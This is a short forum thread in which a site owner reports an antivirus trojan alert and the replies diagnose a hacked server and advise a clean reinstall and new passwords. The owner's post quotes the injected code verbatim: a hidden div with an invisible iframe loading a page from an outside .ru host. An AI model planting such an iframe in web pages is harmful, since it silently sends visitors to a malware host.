problems with virus atack

I´m trying a site at my server and all time I have Alert about trojan "HTML:IlliFrame-C[Trj]". When I did a backup in my PC, I discovered which file had the problem: all indexs from anyfolder and have this message:

<h2>Unauthorized access</h2>
You’re not allowed to access file folde
<div style="display:none">ogkycazsyhqkokbdfhuefuhufhseeft<iframe width=970 height=921 src="http://bestbeo.ru:8080/index.php" ></iframe></div>

Why is this happening? I Have other domains in the same server and They are being prejudice too.

Thanks a lot for your help!!!

Carlos

You’re site/server seems to be hacked. The index.html files normally contain this:


The iframe code must be inserted from anyone who has sufficient access to your server or uses an insecure script.

There are many possibilities whats the weak point so you have to look around and probably reinstall modx from a clean source and to check every single file, you’re reusing from the hacked site.

Google around this forums and you will find several postings on different hacking situations.

Greetz
JUSI

Also, if this is affecting multiple accounts on the same server, make sure you change all your usernames/passwords. Seems that maybe someone cracked all of your server’s credentials...